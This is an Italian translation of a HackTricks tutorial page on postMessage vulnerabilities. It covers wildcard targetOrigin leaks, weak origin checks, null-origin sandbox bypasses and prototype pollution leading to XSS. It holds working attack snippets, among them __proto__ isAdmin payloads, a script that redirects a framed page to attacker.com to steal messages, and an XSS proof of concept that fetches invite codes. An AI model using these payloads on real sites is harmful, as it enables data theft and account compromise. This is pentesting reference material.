15 KiB
Vulnerabilità di PostMessage
Vulnerabilità di PostMessage
Impara l'hacking su AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)!
Altri modi per supportare HackTricks:
- Se vuoi vedere la tua azienda pubblicizzata su HackTricks o scaricare HackTricks in PDF Controlla i PIANI DI ABBONAMENTO!
- Ottieni il merchandising ufficiale di PEASS & HackTricks
- Scopri La Famiglia PEASS, la nostra collezione di NFT esclusivi
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @carlospolopm.
- Condividi i tuoi trucchi di hacking inviando PR a HackTricks e HackTricks Cloud github repos.
WhiteIntel
WhiteIntel è un motore di ricerca alimentato dal dark web che offre funzionalità gratuite per verificare se un'azienda o i suoi clienti sono stati compromessi da malware ruba-informazioni.
Il loro obiettivo principale è contrastare le violazioni degli account e gli attacchi ransomware derivanti da malware che rubano informazioni.
Puoi visitare il loro sito web e provare il loro motore gratuitamente su:
{% embed url="https://whiteintel.io" %}
Invia PostMessage
PostMessage utilizza la seguente funzione per inviare un messaggio:
targetWindow.postMessage(message, targetOrigin, [transfer]);
# postMessage to current page
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an iframe with id "idframe"
<iframe id="idframe" src="http://victim.com/"></iframe>
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an iframe via onload
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">
# postMessage to popup
win = open('URL', 'hack', 'width=800,height=300,top=500');
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an URL
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')
# postMessage to iframe inside popup
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
## loop until win.length == 1 (until the iframe is loaded)
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')
Si noti che targetOrigin può essere un '*' oppure un URL come https://azienda.com.
Nel secondo scenario, il messaggio può essere inviato solo a quel dominio (anche se l'origine dell'oggetto finestra è diversa).
Se viene utilizzato il jolly, i messaggi potrebbero essere inviati a qualsiasi dominio, e saranno inviati all'origine dell'oggetto Finestra.
Attaccare iframe e jolly in targetOrigin
Come spiegato in questo rapporto se trovi una pagina che può essere inserita in un iframe (senza protezione X-Frame-Header
) e che sta inviando messaggi sensibili tramite postMessage utilizzando un jolly (*), puoi modificare l'origine dell'iframe e rivelare il messaggio sensibile a un dominio controllato da te.
Si noti che se la pagina può essere inserita in un iframe ma il targetOrigin è impostato su un URL e non su un jolly, questo trucco non funzionerà.
<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
setTimeout(exp, 6000); //Wait 6s
//Try to change the origin of the iframe each 100ms
function exp(){
setInterval(function(){
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
}, 100);
}
</script>
Sfruttamento di addEventListener
addEventListener
è la funzione utilizzata da JS per dichiarare la funzione che si aspetta postMessages
.
Verrà utilizzato un codice simile al seguente:
window.addEventListener("message", (event) => {
if (event.origin !== "http://example.org:8080")
return;
// ...
}, false);
Nota in questo caso come la prima cosa che il codice fa è controllare l'origine. Questo è estremamente importante soprattutto se la pagina sta per fare qualcosa di sensibile con le informazioni ricevute (come cambiare una password). Se non controlla l'origine, gli attaccanti possono far inviare dati arbitrari a questi endpoint e cambiare le password delle vittime (in questo esempio).
Enumerazione
Per trovare gli event listener nella pagina corrente puoi:
- Cercare nel codice JS per
window.addEventListener
e$(window).on
(versione JQuery) - Eseguire nella console degli strumenti per sviluppatori:
getEventListeners(window)
- Andare su Elementi --> Event Listeners negli strumenti per sviluppatori del browser
- Utilizzare un'estensione del browser come https://github.com/benso-io/posta o https://github.com/fransr/postMessage-tracker. Queste estensioni del browser intercetteranno tutti i messaggi e te li mostreranno.
Bypass degli origini
- L'attributo
event.isTrusted
è considerato sicuro in quanto restituisceTrue
solo per eventi generati da azioni autentiche dell'utente. Anche se è difficile da aggirare se implementato correttamente, la sua importanza nei controlli di sicurezza è notevole. - L'uso di
indexOf()
per la validazione dell'origine negli eventi PostMessage potrebbe essere suscettibile di aggiramento. Un esempio che illustra questa vulnerabilità è:
("https://app-sj17.marketo.com").indexOf("https://app-sj17.ma")
- Il metodo
search()
diString.prototype.search()
è destinato alle espressioni regolari, non alle stringhe. Passare qualsiasi cosa diversa da una regexp porta a una conversione implicita in regex, rendendo il metodo potenzialmente insicuro. Questo perché nelle regex, un punto (.) funziona come un carattere jolly, consentendo di aggirare la validazione con domini appositamente creati. Ad esempio:
"https://www.safedomain.com".search("www.s.fedomain.com")
-
La funzione
match()
, simile asearch()
, elabora le regex. Se la regex è strutturata in modo non corretto, potrebbe essere vulnerabile all'aggiramento. -
La funzione
escapeHtml
è destinata a sanificare gli input mediante l'escape dei caratteri. Tuttavia, non crea un nuovo oggetto con caratteri di escape ma sovrascrive le proprietà dell'oggetto esistente. Questo comportamento può essere sfruttato. In particolare, se un oggetto può essere manipolato in modo che la sua proprietà controllata non riconoscahasOwnProperty
, l'escapeHtml
non funzionerà come previsto. Questo è dimostrato negli esempi seguenti: -
Fallimento previsto:
result = u({
message: "'\"<b>\\"
});
result.message // "'"<b>\"
- Aggirare l'escape:
result = u(new Error("'\"<b>\\"));
result.message; // "'"<b>\"
Nel contesto di questa vulnerabilità, l'oggetto File
è particolarmente sfruttabile a causa della sua proprietà name
in sola lettura. Questa proprietà, quando utilizzata nei modelli, non viene sanificata dalla funzione escapeHtml
, portando a potenziali rischi per la sicurezza.
- La proprietà
document.domain
in JavaScript può essere impostata da uno script per abbreviare il dominio, consentendo un'applicazione più rilassata della stessa politica di origine all'interno dello stesso dominio principale.
Bypass di e.origin == window.origin
Quando si incorpora una pagina web all'interno di un iframe sandboxato utilizzando %%%%%%, è cruciale comprendere che l'origine dell'iframe sarà impostata su null. Questo è particolarmente importante quando si tratta di attributi sandbox e delle loro implicazioni sulla sicurezza e sulla funzionalità.
Specificando allow-popups
nell'attributo sandbox, ogni finestra popup aperta dall'interno dell'iframe eredita le restrizioni del sandbox del genitore. Ciò significa che a meno che non sia incluso anche l'attributo allow-popups-to-escape-sandbox
, l'origine della finestra popup è anch'essa impostata su null
, allineandosi con l'origine dell'iframe.
Di conseguenza, quando viene aperta una popup in queste condizioni e viene inviato un messaggio dall'iframe alla popup utilizzando postMessage
, sia l'origine di invio che di ricezione vengono impostate su null
. Questa situazione porta a uno scenario in cui e.origin == window.origin
si valuta come vero (null == null
), poiché sia l'iframe che la popup condividono lo stesso valore di origine null
.
Per ulteriori informazioni leggi:
{% content-ref url="bypassing-sop-with-iframes-1.md" %} bypassing-sop-with-iframes-1.md {% endcontent-ref %}
Aggirare e.source
È possibile verificare se il messaggio proviene dalla stessa finestra in cui lo script è in ascolto (particolarmente interessante per Content Scripts delle estensioni del browser per verificare se il messaggio è stato inviato dalla stessa pagina):
// If it’s not, return immediately.
if( received_message.source !== window ) {
return;
}
Puoi forzare e.source
di un messaggio a essere nullo creando un iframe che invia il postMessage e viene immediatamente eliminato.
Per ulteriori informazioni leggi:
{% content-ref url="bypassing-sop-with-iframes-2.md" %} bypassing-sop-with-iframes-2.md {% endcontent-ref %}
Bypass dell'intestazione X-Frame
Per eseguire questi attacchi idealmente dovresti essere in grado di inserire la pagina web della vittima all'interno di un iframe
. Tuttavia alcuni header come X-Frame-Header
possono prevenire tale comportamento.
In questi scenari puoi comunque utilizzare un attacco meno stealthy. Puoi aprire una nuova scheda all'applicazione web vulnerabile e comunicare con essa:
<script>
var w=window.open("<url>")
setTimeout(function(){w.postMessage('text here','*');}, 2000);
</script>
Rubare il messaggio inviato al figlio bloccando la pagina principale
Nella pagina seguente puoi vedere come potresti rubare dati sensibili inviati tramite postmessage a un iframe figlio bloccando la pagina principale prima di inviare i dati e sfruttando un XSS nel figlio per rivelare i dati prima che vengano ricevuti:
{% content-ref url="blocking-main-page-to-steal-postmessage.md" %} blocking-main-page-to-steal-postmessage.md {% endcontent-ref %}
Rubare il messaggio modificando la posizione dell'iframe
Se puoi inserire un iframe in una pagina web senza l'header X-Frame che contiene un altro iframe, puoi modificare la posizione di quell'iframe figlio, quindi se sta ricevendo un postmessage inviato utilizzando un jolly, un attaccante potrebbe modificare l'origine di quell'iframe a una pagina controllata da lui e rubare il messaggio:
{% content-ref url="steal-postmessage-modifying-iframe-location.md" %} steal-postmessage-modifying-iframe-location.md {% endcontent-ref %}
postMessage a Prototype Pollution e/o XSS
Nei casi in cui i dati inviati tramite postMessage
vengono eseguiti da JS, puoi inserire un iframe nella pagina ed sfruttare la prototype pollution/XSS inviando l'exploit tramite postMessage
.
Un paio di XSS molto ben spiegati tramite postMessage
possono essere trovati in https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html
Esempio di un exploit per abusare della Prototype Pollution e poi XSS tramite un postMessage
a un iframe
:
<html>
<body>
<iframe id="idframe" src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>
<script>
function get_code() {
document.getElementById('iframe_victim').contentWindow.postMessage('{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\\" />"}}}','*');
document.getElementById('iframe_victim').contentWindow.postMessage(JSON.stringify("refresh"), '*');
}
setTimeout(get_code, 2000);
</script>
</body>
</html>
Per ulteriori informazioni:
- Link alla pagina su inquinamento del prototipo
- Link alla pagina su XSS
- Link alla pagina su inquinamento del prototipo lato client a XSS
Riferimenti
- https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html
- https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd
- Per praticare: https://github.com/yavolo/eventlistener-xss-recon
WhiteIntel
WhiteIntel è un motore di ricerca alimentato dal dark web che offre funzionalità gratuite per verificare se un'azienda o i suoi clienti sono stati compromessi da malware stealer.
Il loro obiettivo principale è combattere i takeover degli account e gli attacchi ransomware derivanti da malware che rubano informazioni.
Puoi visitare il loro sito web e provare il loro motore gratuitamente su:
{% embed url="https://whiteintel.io" %}
Impara l'hacking AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!
Altri modi per supportare HackTricks:
- Se desideri vedere la tua azienda pubblicizzata in HackTricks o scaricare HackTricks in PDF Controlla i PIANI DI ABBONAMENTO!
- Ottieni il merchandising ufficiale di PEASS & HackTricks
- Scopri The PEASS Family, la nostra collezione di esclusivi NFT
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @carlospolopm.
- Condividi i tuoi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repository di Github.